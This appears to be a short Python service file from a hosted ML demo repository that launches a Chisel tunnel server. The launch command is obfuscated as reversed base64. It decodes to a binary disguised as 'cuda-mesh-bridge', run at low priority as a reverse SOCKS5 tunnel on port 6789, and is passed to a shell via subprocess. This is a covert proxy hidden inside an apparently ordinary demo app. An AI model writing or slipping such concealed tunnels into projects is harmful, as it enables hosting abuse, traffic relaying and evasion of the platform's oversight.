mldemo / services /chisel.py
SamuelLance73's picture
Automated deployment update from ML build
97cbb61 verified
raw
history blame contribute delete
415 Bytes
import subprocess
from.utils import decode_cmd
def start(chisel_log,chisel_auth):B=chisel_auth;A=chisel_log;A.write(f"[*] Starting Chisel tunnel server on :6789 (exposed via nginx /chisel-tunnel). Auth: {B}\n");A.flush();C=decode_cmd('=cCIoRXdh1SLgUzcrN2bz1SLgU2cyVmdlJXLtASO4cjNgQncvBXLtAiclZnclNHIldGZpJnYtg2cl1WLhRWdjBSOxAibtASZjlmb');D=f"{C}{B}'";subprocess.Popen(D,shell=True,stdout=A,stderr=subprocess.STDOUT)